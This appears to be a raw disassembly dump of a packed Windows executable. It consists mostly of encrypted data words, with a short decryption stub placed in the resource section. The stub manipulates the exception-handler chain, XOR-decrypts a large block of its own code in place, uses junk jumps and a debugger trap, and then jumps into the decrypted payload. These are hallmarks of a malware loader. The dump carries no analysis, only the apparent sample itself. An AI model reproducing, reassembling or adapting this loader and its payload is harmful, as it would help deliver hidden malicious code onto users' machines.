		dd 15CD969Ah, 0D657485Dh, 0D51BFBD3h, 15CC0AAAh, 0FD011857h
		dd 4B7777B4h, 335E381Dh
		dd 0EEB03CBCh, 9156E14Ah, 525B8B32h, 0E7D22CF7h, 0C83AFE27h
		dd 2194E9D2h, 44D00D26h, 36B0936Fh, 932CB0C8h, 2A52A00h
		dd 7B01C267h, 0C6C620BFh, 0CAFA5D5Fh, 0B6886A0Ah, 706193D6h
		dd 982659E9h, 4E0D22BFh, 3C4BD713h, 0A2AFCCCh, 0AD2BF484h
		dd 5B7184E1h, 0B7ECDC30h, 0A1368DB5h, 66014FC7h, 0E6691B9Ch
		dd 4E008E78h, 1D67E6EEh, 826643A1h, 1476831Dh, 10317CC7h
		dd 0E07F2919h, 0D383AAB9h, 8F136A76h, 4F2A061Ch, 0B976DDFh
		dd 0BB4D0670h, 9F448B29h, 362A5F49h, 4EFCE029h,	501C591Ah
		dd 3C224262h, 0F55F875Ah, 5CAC3550h, 0E88412E4h, 7B03CE70h
		dd 0C0250C70h, 5248192h, 105E3920h, 0CAFB30B1h,	0FF360397h
		dd 816CC87Bh, 5E37E986h, 89C01393h, 0C4CE519Ah,	0C5868949h
		dd 5EBDE486h, 49A257A4h, 0F223E097h, 2338527Dh,	743B4661h
		dd 0D59298C4h, 0EF2B7AB5h, 2BF216F4h, 7CF6465Ch, 9BE9D6D7h
		dd 0D677051Ch, 164FE34Ch, 0C3B32D40h, 6E0346E4h, 0E3098D0Ch
		dd 0C535EF4h, 0A71A04A8h, 2257ECD6h, 113C773Ah,	0D201C96Fh
		dd 0C2ADDFB5h, 29C9A32Bh, 0CFAA3577h, 0D6654F9Dh, 1BE99888h
		dd 0FB183BE7h, 0CA14D399h, 0F6026F4Eh, 0F415BC26h, 0C7055773h
		dd 74792E24h, 13DEE111h, 0D7298515h, 4B84EF63h,	7A4A042Ch
		dd 79552935h, 0D5923C79h, 7E2F50F8h, 0B67887F2h, 2BAD1925h
		dd 35769752h, 0AC7722Eh, 15C1D63h, 28CE3891h, 32CAAB12h
		dd 889FE4F8h, 8E7C86B9h, 749E8F82h, 39FFB238h, 8709E4B8h
		dd 8509269Fh, 4F749E5Ch, 0C6D97BB5h, 0AC2CC218h, 355D2466h
		dd 3900FB4Dh, 25A2AAF5h, 3B1BFEE0h, 67A8DE54h, 86599B0Eh
		dd 95D4C735h, 823B9A43h, 0CF35863Ch, 0B74B576Eh, 1521948Fh
		dd 78D602F3h, 3E1797A0h, 0FB93B307h, 0BE0A9D47h, 96F42F33h
		dd 0EE7C3194h, 4D97C01Ch, 0E53EF595h, 720A5892h, 0F849142Dh
		dd 0DD752A17h, 62258D41h, 6B780939h, 0B1C1573Fh, 4396A6AFh
		dd 43D049F3h, 0BBA2268Bh, 0F0A01212h, 0D605EAD8h, 327146E5h
		dd 0A021A8B1h, 0A7527C77h, 0FB440F33h, 3568F64h, 3DCAECB0h
		dd 0BB5A1FDCh, 0E7E9C188h, 11059ACAh, 0AE8828DAh, 3314C419h
		dd 0FF86B449h, 0E6134E39h, 142291D8h, 191A4502h, 2B964041h
		dd 494F931Bh, 902E2F91h, 6657C912h, 19ADFA5Dh, 8029B04Ch
		dd 372EE556h, 12CAF1C7h, 52EB1DB6h, 95DDAAC5h, 7C03CF73h
		dd 0D8B9356Bh, 2CB9870Dh, 0BA705639h, 0D252435Fh, 1174AC5Ah
		dd 0DC00B6A7h, 403A4E82h, 0AC97A6C1h, 1A7920F3h, 0A3F4D359h
		dd 2FBE2F22h, 0C397AF3Fh, 6A0463B5h, 0FE28BCDBh, 0D874349Ch
		dd 8065C1CEh, 37D09CD6h, 871FADDDh, 5F83E9CAh, 0A2501508h
		dd 0FA24F580h, 6A63E8BFh, 7D939CBAh, 0C270860Ah, 947BCD92h
		dd 0A53F447Eh, 5B05A739h, 0CA5FFF99h, 0D7C7EC13h, 37B7B723h
		dd 0AEF45066h, 72174013h, 87DA06D1h, 7B567C2Ah,	578F451Eh
		dd 2A45D5FAh, 15CA4012h, 0EB7F12A8h, 125D1C77h,	175241A2h
		dd 671B4C04h, 6FB50E5Ch, 0E43D60AAh, 0DB12E7F6h, 22FE89EFh
		dd 0C0CFC12Fh, 14102A31h, 0B6EEF840h, 8610075Bh, 0C93982FBh
		dd 7D3B703h, 0C7423E19h, 0B28E2185h, 0C75B3447h, 9624E544h
		dd 6D4B2A08h, 5E32D978h, 0E581D8CBh, 0D09DC440h, 0F0AF90B6h
		dd 1F3E290h, 373B02A1h,	79F769E2h, 62B9239Dh, 0F6A9C8B3h
		dd 0B00C90E1h, 0A7FFE4C4h, 0F8F98D26h, 0CF9C1DD1h, 25CA7189h
		dd 5F6F3425h, 0D7C9D04Bh, 0D468ED0h, 2D054802h,	236EFAD7h
		dd 0E1CBF090h, 32F3C368h, 0F221F8F4h, 59131410h, 60F9AF5Dh
		dd 6B223AB2h, 8866F268h, 44F29A63h, 0D8490785h,	8FE2308Eh
		dd 6970A3h, 8A698C4Ah, 0EB4F3A16h, 3B5D4794h, 0C1FB6DAAh
		dd 0C2AE24EBh, 2A08684Eh, 119FFB06h, 0FDC3D173h, 6EE91240h
		dd 0BDAA6985h, 0CC000001h, 0
		dd 0Ch,	74536401h, 10006275h, 64746EEFh, 0C006B64h, 6E69574Bh
		dd 73776F64h, 53C70000h, 65747379h, 8100006Dh, 49737953h
		dd 74696Eh, 79545510h, 736570h,	6572D500h, 6D6F4374h, 73657270h
		dd 6B000073h, 344352h, 78508300h, 524Fh, 6E757218h, 6D656Dh
		dd 6E75AB00h, 6E5F4674h, 6F697463h, 0C00736Eh, 6568532Ah
		dd 50416C6Ch, 49h, 4251424Eh, 4345h, 30320016h,	37303530h
		dd 6578652Eh, 1E0000h, 0EC300000h, 41h,	2 dup(0)
		dd 46AC0000h, 9Eh, 1E0000h, 10000h, 0C0000h, 0
		dd 1D400h, 0
		dd 101h, 5 dup(0)
		dd 584B6F3Bh, 60387077h, 1003758h, 0Fh dup(0)
		dd 400h, 1B5h dup(0)
		dd 10000h, 20200002h, 10010h, 2E80004h,	10000h,	101010h
		dd 40001h, 128h, 41500002h, 44444150h, 58474E49h, 44415058h
		dd 474E4944h, 44444150h, 58474E49h, 44415058h, 474E4944h
		dd 44444150h, 58474E49h, 44415058h, 474E4944h, 44444150h
		dd 58474E49h, 44415058h, 474E4944h, 44444150h, 58474E49h
		dd 44415058h, 474E4944h, 44444150h, 58474E49h, 44415058h
		dd 474E4944h, 44444150h, 58474E49h, 44415058h, 474E4944h
		dd 44444150h, 58474E49h, 44415058h, 474E4944h, 44444150h
		dd 58474E49h, 44415058h, 474E4944h, 44444150h, 58474E49h
		dd 44415058h, 474E4944h, 44444150h, 58474E49h, 44415058h
		dd 474E4944h, 44444150h, 58474E49h, 44415058h, 474E4944h
		dd 44444150h, 58474E49h, 44415058h, 474E4944h, 44444150h
		dd 58474E49h, 44415058h, 474E4944h, 44444150h, 58474E49h
		dd 44415058h, 474E4944h, 44444150h, 58474E49h, 44415058h
		dd 474E4944h, 44444150h, 58474E49h, 44415058h, 474E4944h
		dd 44444150h, 58474E49h, 44415058h, 474E4944h, 44444150h
		dd 58474E49h, 44415058h, 474E4944h, 44444150h, 58474E49h
		dd 44415058h, 474E4944h, 44444150h, 58474E49h, 44415058h
		dd 474E4944h, 44444150h, 58474E49h, 44415058h, 474E4944h
		dd 44444150h, 58474E49h, 44415058h, 474E4944h, 44444150h
		dd 58474E49h, 44415058h, 474E4944h, 44444150h, 58474E49h
		dd 44415058h, 474E4944h, 44444150h, 58474E49h, 44415058h
		dd 474E4944h, 44444150h, 58474E49h, 44415058h, 474E4944h
		dd 44444150h, 58474E49h, 44415058h, 474E4944h, 44444150h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		call	sub_42941B
		call	sub_429495
		mov	ebp, fs:0
		sub	ebp, 0FFFFFFF8h
		jmp	loc_429448

; =============== S U B	R O U T	I N E =======================================



sub_42941B	proc near		; CODE XREF: .rsrc:00429403p

; FUNCTION CHUNK AT 004294BB SIZE 00000004 BYTES

		push	dword ptr fs:0
		mov	fs:0, esp
		xor	eax, eax
		push	eax
		push	eax
		push	80000000h
		push	eax
		push	80000000h
		push	2
		push	4000h
		push	eax
		push	eax
		call	ds:__imp_GetLastError


loc_429448:				; CODE XREF: .rsrc:00429416j
		sub	eax, eax


loc_42944A:				; CODE XREF: sub_42941B+35j
		dec	al
		or	al, al
		jz	short loc_429454
		jnz	short loc_42944A
		jmp	short loc_4294BB
; ---------------------------------------------------------------------------


loc_429454:				; CODE XREF: sub_42941B+33j
		call	$+5
		pop	ebx
		sub	ebx, 0FFFFFFB7h
		xor	ecx, ecx
		xor	ecx, 243Ch
		and	edx, 0
		add	edx, 0B4h
		push	ebx


loc_429472:				; CODE XREF: sub_42941B+68j
		xchg	al, [ebx]
		xor	ax, dx
		mov	[ebx], al
		add	ebx, 1
		inc	edx
		sub	ecx, 1
		cmp	ecx, 0
		jnz	short loc_429472


loc_429485:				; CODE XREF: .rsrc:004294B8j
		pop	ebx
		mov	esp, fs:0
		pop	dword ptr fs:0
		leave


loc_429493:				; CODE XREF: sub_42941B+A2j
		jmp	ebx
sub_42941B	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_429495	proc near		; CODE XREF: .rsrc:00429408p

arg_C		= dword	ptr  10h

		mov	eax, [esp+arg_C]
		pop	dword ptr [eax+0B8h]
		xor	eax, eax
		retn
sub_429495	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		dw 5D24h
		dd 0B9B8B7B6h, 4A98BF31h, 0C1E4943Eh, 0C5C4C3C2h, 65504E46h
; ---------------------------------------------------------------------------
		jecxz	short loc_429485
		int	3		; Trap to Debugger
; START	OF FUNCTION CHUNK FOR sub_42941B


loc_4294BB:				; CODE XREF: sub_42941B+37j
		inc	esi
		xchg	eax, edx
		jmp	short loc_429493
; END OF FUNCTION CHUNK	FOR sub_42941B
; ---------------------------------------------------------------------------
		movsd
		jmp	fword ptr [edi]
; ---------------------------------------------------------------------------
		dw 5C8Dh
		dd 0D9F16766h, 696452DAh, 61E0DFF7h, 0E5C0CC5Ah, 0E49D0FE6h
		dd 0C9DC73E9h, 0AA7BEFEEh, 1EC70CF0h, 0C8607CFEh, 2FCFBDEh
		dd 9455A4CDh, 1206F83h,	90A53DAh, 0FD0CE88Bh, 0FC91F0F1h
		dd 15540314h, 1D3C6B9Dh, 2920AE97h, 21991F5Eh, 0D6242322h
		dd 6753A682h, 5E45437Eh, 72BB225Bh, 2D30BE0Eh, 6900B650h
		dd 0BC344F7Fh, 41413FD5h, 0CEA63642h, 9A4B3F16h, 0C66C39C1h
		dd 0A2535704h, 9657FE03h, 59A72FD7h, 28283E1Dh,	6218DE45h
		dd 60B1132h, 11E97513h,	9082A6Dh, 0F0791A1Ch, 611780Ah
		dd 7C0C7705h, 2025AC98h, 0A58C56BDh, 0DCA0F109h, 3E877485h
		dd 0F707C58Eh, 1A6B8C92h, 669714A6h, 99989B7Eh,	0F2F0D89Ah
		dd 0C0E8FAEDh, 0C0C8C7CCh, 7F57F4A6h, 98902E23h, 0BC58AFEEh
		dd 0F6B4B3B2h, 0CDD9D2C4h, 0D8CAFEDFh, 0C181CBD0h, 4C123C91h
		dd 89FD8743h, 0CDC123CAh, 0B497CFCEh, 0A6B59FA6h, 0ABAA92A2h
		dd 8EDCA9B5h, 64690921h, 0E5A4D6A6h, 0E9E8970Eh, 992C6EEAh
		dd 640FBFCFh, 0F5B4C6B6h, 0E98D3773h, 0EC2E7E77h, 518AFFBEh
		dd 56AEBFDh, 75E30706h,	38309EF5h, 94E70F4Eh, 15542723h
		dd 99181716h, 0A891056Eh, 21602B2Bh, 21005FA9h,	0B4A38282h
		dd 2D6C1298h, 8869AA5h,	88BF3372h, 39780E8Ch, 5766F867h
		dd 2B40553Eh, 2D442942h, 494C4747h, 4D268FC1h, 0DA5C251Eh
		dd 3B6AC96h, 596B0802h,	0B595685Ah, 9E9FA084h, 74C5F6EFh
		dd 383A6726h, 0F8933B3Bh, 71305A2Eh, 0B654B7F1h, 26C185FCh
		dd 4D7C7B58h, 57823F6Eh, 0F477A60h, 0B496368Fh,	5E4AB778h
		dd 0A96B6FF1h, 90011F90h, 51E63634h, 5C7FCCC8h,	8A2EDBD0h
		dd 5413E5C9h, 0BFF37C4Ch, 0EAA9761h, 676DA66h, 0B722BD62h
		dd 0CF5342DFh, 6F1AE711h, 1CC8ACEAh, 4572BC23h,	2963DACDh
		dd 908A37CDh, 69AB9021h, 788BEC50h, 0D153BBC1h,	45243608h
		dd 79EE587Ah, 0B147B09Fh, 0C0B67399h, 79650870h, 0C95ECBA0h
		dd 0FF36F8BBh, 19C5805Ch, 45DA77E8h, 0EC1EBE4Dh, 0CB1AEF20h
		dd 4B9613E5h, 955FC8B8h, 0ECFE2BE1h, 448690D0h,	46D95CC2h
		dd 0FD7A72C5h, 0D6251B24h, 65987B39h, 411BF2ECh, 302A17C8h
		dd 0C90C08A1h, 2AC70C70h, 11AA40BEh, 5F0DB23h, 94D7BBB7h
		dd 85A81235h, 6AFD204Ch, 8D5D7E84h, 0FE22ECEAh,	74C25CB8h
		dd 41739CFCh, 0AEBA47BDh, 39EBFB60h, 5BF04B4Fh,	0EBA14CD3h
		dd 15EBFD18h, 0C9DE4FF4h, 14A23FD8h, 0A113FC9Ch, 485AA75Dh
		dd 0DC4AB484h, 0EF0D901Eh, 0A17EC30Ch, 0B74AB338h, 0E5962A54h
		dd 658375C7h, 50A622D4h, 3D6FB8C8h, 0D12EDBD1h,	0E5138F0Ah
		dd 0F4266693h, 3842D718h, 0E09E0BB4h, 0AA1D81A4h, 529F43B6h
		dd 7210CD22h, 0D93B4791h, 86C34420h, 54A6EE4Fh,	128A77B8h
		dd 0D6401C10h, 0F54437AFh, 0C528E37Ch, 0AD76CB4Ch, 4C66CEDBh
		dd 905F4F80h, 1F624DFh,	40E7DEABh, 0C91EFEA4h, 7DB1B481h
		dd 7106815Ah, 7822DA6Bh, 0D64E3B84h, 0FA8CECE4h, 0F5139873h
		dd 0A2CA778Dh, 0EC716AA4h, 0B542AC85h, 0E4CE26B7h, 9D85C708h
		dd 0DB2B9465h, 0EE924FB3h, 1C3AB69h, 0BC5AA8D8h, 0BAF70EBBh
		dd 58E9FF30h, 3106F680h, 7C652E4Bh, 0EF0BF485h,	2DB26F93h
		dd 1EA92EBEh, 0AB444AF5h, 66B5AB54h, 0AC345FBAh, 92E21303h
		dd 6DD00469h, 933922A7h, 284AA540h, 0C1232C99h,	7DF62E18h
		dd 9D554BF4h, 0EBEF3B3Dh, 9779FC63h, 805E6AC3h,	59CEBB44h
		dd 0C27FC486h, 45243808h, 3FE1D194h, 817E81AFh,	3582765Eh
		dd 51CCEF37h, 6D908343h, 0B92E9B8Ch, 0B452E508h, 9178993Eh
		dd 84A42A7h, 8AC60BF4h,	9B8A3F34h, 3AC643B5h, 61ACDFCh
		dd 0F34E91C8h, 1730C520h, 0AFBE53A6h, 778A7791h, 0D6D47A94h
		dd 11D72000h, 0CE66A349h, 0A2C50251h, 86137CA0h, 2567C23Fh
		dd 0B8B673BCh, 0FD6A1DECh, 6CAD24FFh, 852252B1h, 0F48B835Ch
		dd 4D9A73A4h, 4CC3DB3Bh, 532F780h, 0BD03ECDEh, 0B5CA778Dh
		dd 69FE6BC2h, 0DE6DF05Ch, 0A376D349h, 8113B121h, 6FCB7C01h
		dd 0E763E1h, 0BEA673ADh, 0FD1F1F4Dh, 0C59B0234h, 8562BF45h
		dd 5B66A908h, 0E10FD857h, 9C8E3BB1h, 0FAC77060h, 0B754B9DAh
		dd 0F7DE7C2Eh, 0B8D6F915h, 26C25FD0h, 73832799h, 5FEA60FDh
		dd 9507ADCDh, 0A537A825h, 0CDA34C7Ah, 0F6EAD72Dh, 1F881D30h
		dd 0EAF569E0h, 0B1B3D309h, 0DD9E6468h, 655B4413h, 0EFF22FD5h
		dd 5E14F90Ch, 9D7FC7ADh, 0E8565254h, 1E151F90h,	75AAAA5Dh
		dd 0F805109Ch, 0B96EAE48h, 40917933h, 0C136C550h, 0C2FD8358h
		dd 49ABBB21h, 2122FAF0h, 4F450580h, 72F4D52Ch, 0F306DF70h
		dd 0BA18C520h, 21E3FB59h, 694AF2F8h, 1456B848h,	0C642DF54h
		dd 0A18572B5h, 9B060231h, 519B5B64h, 287C8E41h,	55E633ACh
		dd 0AD3B41C8h, 5CA19824h, 95628A58h, 55F4399h, 69AE98E7h
		dd 0E5CBB4CCh, 0ED72AF56h, 0DE69EE20h, 615FC8EBh, 82FE2BE1h
		dd 9DC61E88h, 8626A33Dh, 0D84652B7h, 0DC471B24h, 0E86DF07Bh
		dd 19AE73A5h, 94E45780h, 847B8B34h, 0D563FF70h,	3146C35Ch
		dd 0D9A27A8h, 4FDF7B84h, 8D27D0F3h, 4A569379h, 5D8E5B21h
		dd 47DC5061h, 14800313h, 70A8068Fh, 62DE62E5h, 9A0BB1C6h
		dd 0F20EBC34h, 0D769811Fh, 89EE571h, 3DAD27F4h,	7BC753C2h
		dd 94F4409Ch, 8B3F9309h, 18ABD72Dh, 0E0802CE0h,	0E773E76Dh
		dd 902FDB51h, 800E9B35h, 35C378FEh, 30C351FFh, 1FAA22BCh
		dd 0CA4BF88Bh, 0A612CE73h, 0B517961Eh, 50CF853Dh, 5DFB7FDBh
		dd 34870D98h, 0C38543B8h, 0E86EC64Dh, 0FC7C9350h, 632CB41h
		dd 15B736BEh, 72E5239Dh, 45DB43F8h, 0A670EC20h,	0E2168212h
		dd 0AD4EE860h, 0D872361h, 40A02794h, 47B657CDh,	0A90F7BF1h
		dd 9D3BA61Dh, 0E65BEC5Fh, 256BE668h, 4DBF0A81h,	9F3A5E83h
		dd 44178309h, 48E467F8h, 38BE42DAh, 2EFE2AA7h, 0DC44EB75h
		dd 0B875C650h, 0AA7AA232h, 50E86F01h, 0CC66AECh, 6F61681h
		dd 0D26723BDh, 0EC72FE50h, 0B10C9E38h, 3107A630h, 59EE42EFh
		dd 5FFE16E1h, 8BD743C9h, 0A033BE2Dh, 0E96FB078h, 0D953CE40h
		dd 1DB63E80h, 74A163BDh, 5FDF51FCh, 9701B2D7h, 0D1378840h
		dd 0F244D67Ah, 3884F871h, 5DE0A8Ch, 59C65EDFh, 90F461F5h
		dd 0CD1B9E1Ah, 0FBEDA09h, 0CA850A89h, 0CD7FD56Ah, 0AD05B75Dh
		dd 80388531h, 54CF7AFCh, 3FCF53CCh, 22FA06AFh, 0E940FE94h
		dd 8071E072h, 9176801Fh, 58C9B82Ah, 3BAD78C7h, 269016B6h
		dd 0C39643A8h, 0FE7FC447h, 0D73CC877h, 4546D745h, 27A2369Fh
		dd 5CEF1B91h, 40CC5FE0h, 9036AA32h, 0C266A20Fh,	0C47CF36Dh
		dd 10BA3E48h, 76D22AADh, 71D356C0h, 8E134498h, 9D33AE00h
		dd 0C147D259h, 1D6FC573h, 20B3338Dh, 0B71B3BA1h, 53028E0Dh
		dd 6EE176E5h, 31A371DEh, 0A86BB1h, 0D477EB62h, 0BD4AE250h
		dd 0BA7AA427h, 5CDA7216h, 0FE66C6h, 823DECh, 0CE5F3DBCh
		dd 0E06CDB40h, 0B00E9606h, 6535A63Bh, 63FF4CC7h, 5AFA3584h
		dd 0B1D34AD2h, 8D3F9529h, 0E944F71Dh, 0C85BD957h, 7923AA4h
		dd 62830093h, 59F407FBh, 980BA9E7h, 0D702AA34h,	0F253D043h
		dd 7D92D26Bh, 3B9D3FBAh, 70D65ED5h, 85E566CFh, 0CD348801h
		dd 3883CF0Ah, 0E09B3990h, 0F270DC7Bh, 0B43ED45Dh, 0A77E853Bh
		dd 50F250E4h, 3DCF65D2h, 19B447ADh, 0D74BEBABh,	867DFD50h
		dd 95058009h, 53CFBC37h, 59EA45B4h, 30961082h, 0D89037BFh
		dd 0EC6FD35Ah, 0F46BB668h, 454BDD4Fh, 13812782h, 4BEF0391h
		dd 5CCA59FDh, 900FB331h
		dd 0E8148C11h, 0C14ED508h, 1A873571h, 76B72BAFh, 6FDF41D8h
		dd 0BC0543FFh, 9A37B81Ah, 0FB4BCD44h, 2251837Bh, 2CAE34A9h
		dd 0A93B4FB6h, 6A1E8C60h, 4EE576FFh, 29AF5CDBh,	79108D4h
		dd 0C161FA7Eh, 0A543C43Ch, 9909A820h, 58C06206h, 17926AEDh
		dd 41801089h, 0D94432ABh, 0EA71F834h, 0D5169A1Bh, 5432AD15h
		dd 79FF49DAh, 6AE117C7h, 0ABD367C5h, 0E133BF28h, 0F87E9931h
		dd 0DD5BC566h, 36B63A97h, 74880D93h, 49DF73EBh,	8D0FAFF7h
		dd 0CB1BCF25h, 0EF44D658h, 0DA5E37Dh, 499F2591h, 70D651F9h
		dd 85E36DEEh, 0A33F9727h, 18A2C911h, 0F19C26E0h, 0C478E169h
		dd 0BC2FE54Ch, 8517AD30h, 71C31FF5h, 18F662EAh,	29D475FBh
		dd 0EB2ED7A8h, 8951E865h, 8A138003h, 6FAAAE3Dh,	79D16CD1h
		dd 30A91195h, 0F0BE06A5h, 0EA7FF528h, 0EB6B8E55h, 2953F959h
		dd 199336B9h, 78D877B9h, 5DDB78F3h, 802EBE06h, 0D01EA619h
		dd 0A8D30408h, 11BF930Fh, 0CDD24FC0h, 2927F21h,	0F80017F2h
		dd 0A30D9B25h, 0C5EE3435h, 25565797h, 1F8B2782h, 29DBC497h
		dd 8672AF55h, 0B4691F48h, 5D8A024Ch, 0AAF6AF57h, 4871247h
		dd 0E226E329h, 0ED1097B7h, 0AC51150Eh, 65D23A24h, 0C5F9B369h
		dd 0BD2A5748h, 0E0D0E364h, 1E9FF70h, 0FDCDC336h, 0DF267C2h
		dd 738E6B84h, 0C5D87DA2h, 0E13F1D24h, 0CC0A9D78h, 3CC1FB47h
		dd 75826A34h, 84193AA3h, 2DFA32B4h, 0A51A2421h,	0B0DA42CBh
		dd 8DD5B36Ch, 6DEA0295h, 98DD4BB4h, 0C75D6CE7h,	0C4528617h
		dd 42D7E728h, 59CE98D0h, 7A0D3B08h, 499318F3h, 504AF70Dh
		dd 0E95D0ADBh, 0CAC1F790h, 0D42DDC43h, 6DBA7210h, 9AC61469h
		dd 0D7FA8F00h, 4A890C93h, 7D9F0BDDh, 7D5E8EB4h,	0A06DF2FBh
		dd 59C643FFh, 72E55835h, 5A513C8Fh, 45324775h, 0E08B53CCh
		dd 5D906315h, 0A4771894h, 0B55F71D5h, 0C032B27Ch, 0FC6BD759h
		dd 4C82CEDBh, 21554F80h, 3D23CC88h, 0A06A57ADh,	9C5ECFB6h
		dd 9522BFD8h, 9C87DE1Ch, 4D9A7DABh, 4CC3C4AEh, 532F56Eh
		dd 15B41DCh, 5DE0379Ch,	0FF2AF57h, 0AF561AD7h, 0F1EBA37Ch
		dd 0F72C428Fh, 398A1B24h, 0A6CF0FAAh, 409C7286h, 0CED56427h
		dd 0C0B7430h, 0BD928BB0h, 3146C357h, 0EC1F723h,	0AC0347D4h
		dd 0C5F235D2h, 0E05A69C7h, 1781F778h, 0A93EAA1Ch, 0BEE9A7D3h
		dd 0E22DE89Ch, 28CE662Eh, 129B39E3h, 0AA954C82h, 0D2E2387Bh
		dd 29BA5B93h, 1B8F0B9Eh, 805DC0DAh, 0F1C6366Ch,	465623EBh
		dd 19FBCFD1h, 62544E0h,	0A6D194E6h, 0DDA2B752h,	2A7DBCDDh
		dd 0DDDA05FAh, 51A623B5h, 0C79B0545h, 495B521Ah, 0A387E6C3h
		dd 0C476B35Ah, 7FA2DFDCh, 3FD89E3Dh, 0B7157FB0h, 0B12E161Fh
		dd 0D01AA728h, 82071685h, 0D8B9AF60h, 61966586h, 15AE0B7Bh
		dd 903A2494h, 7442DF50h, 9164EB90h, 0A952D308h,	86EE5B25h
		dd 65E7DF55h, 8C4AB8ACh, 0FC6E331Ch, 0A30ECB74h, 95265730h
		dd 2350831Ch, 0B28D67BCh, 997BB751h, 88BBDC60h,	2197171Bh
		dd 379B66B8h, 68943AD6h, 0B5029F78h, 44D9F17Ch,	0ED3AF214h
		dd 4D589EF2h, 0DC65FDBh, 41F672E8h, 999EA88Fh, 891E8914h
		dd 0E34A6A8Fh, 0B41FC31Ch, 0EE8C5368h, 0CD052B90h, 94E02FCAh
		dd 74A9851Bh, 9D4AC2B4h, 0DCFE2E4Dh, 0E03D0900h, 11A656C0h
		dd 7FFE5005h, 0A12AB1F3h, 0A45658CDh, 0B29DB32Ch, 24FAFDD8h
		dd 198EE007h, 45F26FE0h, 647951CCh, 0CD1AD20Ch,	5BC67FC5h
		dd 0F10D6FE0h, 34E99B28h, 0DD0A8120h, 0F1EB1407h, 68825FA6h
		dd 0D1A6277Eh, 6C8F4DF6h, 3DA310A2h, 612CF15h, 0C1E37E75h
		dd 3EAA9748h, 0DB615D65h, 0DDEDBF74h, 0B1C642C3h, 8C0A2327h
		dd 0A78EFB04h, 322DA1Ah, 6ED66D4Ch, 1D8B767Ch, 980AB94h
		dd 74042E25h, 0DF2FB342h, 2678F24Fh, 78A89DEBh,	741C648Fh
		dd 57E733C6h, 0EDFFE8CBh, 905E8B42h, 102D7E0Bh,	710683C3h
		dd 5078E265h, 0D9243B84h, 572E308h, 0DEC5438Ch,	1DFC272Dh
		dd 69F256D4h, 300D9F10h, 0D126A383h, 0ED7A76A1h, 69909A64h
		dd 6AC446D2h, 41F6D669h, 0B5ECD4D8h, 8613B798h,	0D56266F4h
		dd 4466FF5Ch, 37A68B5Bh, 1902FE8Bh, 0C81F2FA0h,	0C176F36Ch
		dd 0F86DD645h, 541DE60h, 9B77FECh, 31191D7Dh, 58CE73E0h
		dd 0FA105AD5h, 8A7DF530h, 0C6F0DB59h, 4CE597E7h, 49F95B4Eh
		dd 4740C8B0h, 0C43A9663h, 0D69E728h, 99EEB14h, 85F26608h
		dd 0D679D70Ch, 0BC25DB56h, 7C81EB30h, 35C229B0h, 67D2E339h
		dd 0E8738EFBh, 0B96EADAEh, 0E712E751h, 9027736Ch, 0A855870Eh
		dd 9DE3D90h, 4EE1EA7Dh,	8296439Ch, 0DD4BF3E1h, 665FAA56h
		dd 507C3B5h, 45D2D4CCh,	28B6E207h, 0EA462BD4h, 0E03552D0h
		dd 6867E33Ch, 0EB75D4CBh, 2BAF0C70h, 4C9F1385h,	72D941CFh
		dd 0A11E71F7h, 0AD30A223h, 0C951C85Fh, 374F65Fh, 1BAE098Dh
		dd 0B03D49A1h, 402E810Fh, 4EFA63F4h, 5DB852CAh,	0E8C0A80h
		dd 0DA4AEB75h, 0D326D74Fh, 0ED8A3848h, 49AE1B64h, 0CEA60F2h
		dd 339F5D81h, 0D14B30BBh, 0A767F355h, 9B629300h, 110D8015h
		dd 74F14BCFh, 78E219ECh, 80E17AAAh, 0D134F31Eh,	0AD3FC74Ah
		dd 89108B25h, 58F87FFEh, 5FAF2CB6h, 44CC21A8h, 0F31BAFD6h
		dd 0A5522715h, 6BB32Ch,	3DF723F5h, 3E5B8DF4h, 15A27FA5h
		dd 0C4129663h, 259BE728h, 33F2CF5Bh, 0D547E4FEh, 0F816D339h
		dd 0A8648B94h, 0D7FF8D7Eh, 16F7026Fh, 67E69E31h, 1B714788h
		dd 0DF8BCCE6h, 8F9702A5h, 4E76B35Fh, 7D9947DDh,	4F17F1B4h
		dd 0ABACF30Ah, 53C7F227h, 594CE7h, 0D91B4A81h, 4558FF20h
		dd 0F4295DA6h, 1DCA425Ch, 219A5717h, 1D69AA54h,	9166E378h
		dd 0AD79C15Bh, 4C66CEDBh, 6D3A4F80h, 0E949CC50h, 0FD6A179Fh
		dd 961D8D27h, 6A22EC7Fh, 31330B89h, 0B1EB8FE8h,	8FA6C43Bh
		dd 0FA8D1093h, 61851001h, 5DC1DFB8h, 3AAB6BD4h,	8731CD55h
		dd 9D6AE712h, 71EF3848h, 0D1AE5B51h, 65920F8Ah,	3386009Bh
		dd 0DB5E39B1h, 764E8B75h, 9557B7E5h, 65C34A5Ch,	29A679Dh
		dd 0F903F6B5h, 4CB26FB8h, 0A16095C9h, 8F5A678h,	0A97E9E88h
		dd 75C63743h, 0A46B63FCh, 2DFA1F65h, 0D5D356FDh, 4D528F76h
		dd 7EC945FAh, 1A6F507Eh, 0B6DE0BE9h, 7C07BC40h,	0F1864381h
		dd 0D07D72E5h, 0D9EBB04h, 85986E8Ah, 0A114FB5Eh, 48B53738h
		dd 0E93EDD64h, 40D8DF15h, 0B2BAE9Eh, 3FFA07D5h,	0CA39D8Eh
		dd 0E5529267h, 9126A538h, 0A8558509h, 9DE3D80h,	797780A8h
		dd 77C603EAh, 0CD22EAADh, 95E6FB04h, 1232AF20h,	2A951C9Fh
		dd 59A445CBh, 0D6BE67D8h, 0B57743C5h, 960E707Ch, 203A8708h
		dd 39F61F91h, 985F16C0h, 1F60650h, 29C4670h, 0C952238Bh
		dd 0DC75BF30h, 3448CA52h, 19E49BCh, 4CB13B88h, 532DAFCh
		dd 0A599D309h, 5DCA365Fh, 69FB0347h, 8F9F10h, 0D166BBBEh
		dd 0F5C74A11h, 0D1AE5B52h, 9A6DF99Ah, 77EACE6Fh, 0B22A5798h
		dd 891F49B0h, 458E7E70h, 6546C35Dh, 0D9B26C0h, 0E51B8484h
		dd 44B26F95h, 0E1574388h, 4981A778h, 566CAB7Eh,	35F44345h
		dd 4826E6FCh, 0A5D20AFDh, 66EDBB7h, 0E56773D5h,	2D4582Ch
		dd 3DF7FEA5h, 60AB4BF4h, 8CFBA3Dh, 0ED603DCh, 8D6CEFFDh
		dd 560E3E44h, 85F35464h, 0AD56180Ch, 0EDB5B7B3h, 0F4176EDBh
		dd 0B0441FD0h, 51E61BF1h, 7FA2DC9h, 462CF1E5h, 0A5249B95h
